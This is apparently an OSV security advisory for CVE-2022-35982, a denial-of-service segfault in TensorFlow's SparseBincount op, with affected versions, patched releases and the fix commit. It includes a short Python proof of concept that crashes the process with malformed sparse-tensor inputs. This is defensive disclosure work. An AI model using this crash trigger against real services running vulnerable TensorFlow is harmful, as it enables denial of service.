---
id: CVE-2022-35982
aliases:
  - GHSA-397c-5g2j-qxpv
  - BIT-tensorflow-2022-35982
  - PYSEC-2026-947
title: TensorFlow vulnerable to segfault in `SparseBincount`
summary: TensorFlow vulnerable to segfault in `SparseBincount`
severity: medium
cvss: 5.9
cvssVector: 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H'
vendor: tensorflow
product: tensorflow
ecosystem: pip
affected:
  - tensorflow < 2.7.2
  - 'tensorflow >= 2.8.0, < 2.8.1'
  - 'tensorflow >= 2.9.0, < 2.9.1'
  - tensorflow-cpu < 2.7.2
  - 'tensorflow-cpu >= 2.8.0, < 2.8.1'
  - 'tensorflow-cpu >= 2.9.0, < 2.9.1'
  - tensorflow-gpu < 2.7.2
  - 'tensorflow-gpu >= 2.8.0, < 2.8.1'
  - 'tensorflow-gpu >= 2.9.0, < 2.9.1'
patched:
  - tensorflow 2.7.2
  - tensorflow 2.8.1
  - tensorflow 2.9.1
  - tensorflow-cpu 2.7.2
  - tensorflow-cpu 2.8.1
  - tensorflow-cpu 2.9.1
  - tensorflow-gpu 2.7.2
  - tensorflow-gpu 2.8.1
  - tensorflow-gpu 2.9.1
published: '2022-09-16'
updated: '2026-07-07'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-397c-5g2j-qxpv'
references:
  - url: >-
      https://github.com/tensorflow/tensorflow/security/advisories/GHSA-397c-5g2j-qxpv
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2022-35982'
  - url: >-
      https://github.com/tensorflow/tensorflow/commit/40adbe4dd15b582b0210dfbf40c243a62f5119fa
  - url: 'https://github.com/tensorflow/tensorflow'
  - url: 'https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0'
tags:
  - osv
  - pip
epss: 0.0051
epssPercentile: 0.42489
ingestedAt: '2026-07-08T18:25:44.887Z'
---

## Overview

### Impact
If `SparseBincount` is given inputs for `indices`, `values`, and `dense_shape` that do not make a valid sparse tensor, it results in a segfault that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
binary_output = True
indices = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int64, seed=-1288)
values = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-9366)
dense_shape = tf.random.uniform(shape=[0], minval=-10000, maxval=10000, dtype=tf.int64, seed=-9878)
size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)
weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000)
tf.raw_ops.SparseBincount(indices=indices, values=values, dense_shape=dense_shape, size=size, weights=weights, binary_output=binary_output)
```

### Patches
We have patched the issue in GitHub commit [40adbe4dd15b582b0210dfbf40c243a62f5119fa](https://github.com/tensorflow/tensorflow/commit/40adbe4dd15b582b0210dfbf40c243a62f5119fa).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.


### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.


### Attribution
This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University


## Affected packages

- `tensorflow < 2.7.2`
- `tensorflow >= 2.8.0, < 2.8.1`
- `tensorflow >= 2.9.0, < 2.9.1`
- `tensorflow-cpu < 2.7.2`
- `tensorflow-cpu >= 2.8.0, < 2.8.1`
- `tensorflow-cpu >= 2.9.0, < 2.9.1`
- `tensorflow-gpu < 2.7.2`
- `tensorflow-gpu >= 2.8.0, < 2.8.1`
- `tensorflow-gpu >= 2.9.0, < 2.9.1`

## Remediation

Upgrade to a patched release:

- `tensorflow 2.7.2`
- `tensorflow 2.8.1`
- `tensorflow 2.9.1`
- `tensorflow-cpu 2.7.2`
- `tensorflow-cpu 2.8.1`
- `tensorflow-cpu 2.9.1`
- `tensorflow-gpu 2.7.2`
- `tensorflow-gpu 2.8.1`
- `tensorflow-gpu 2.9.1`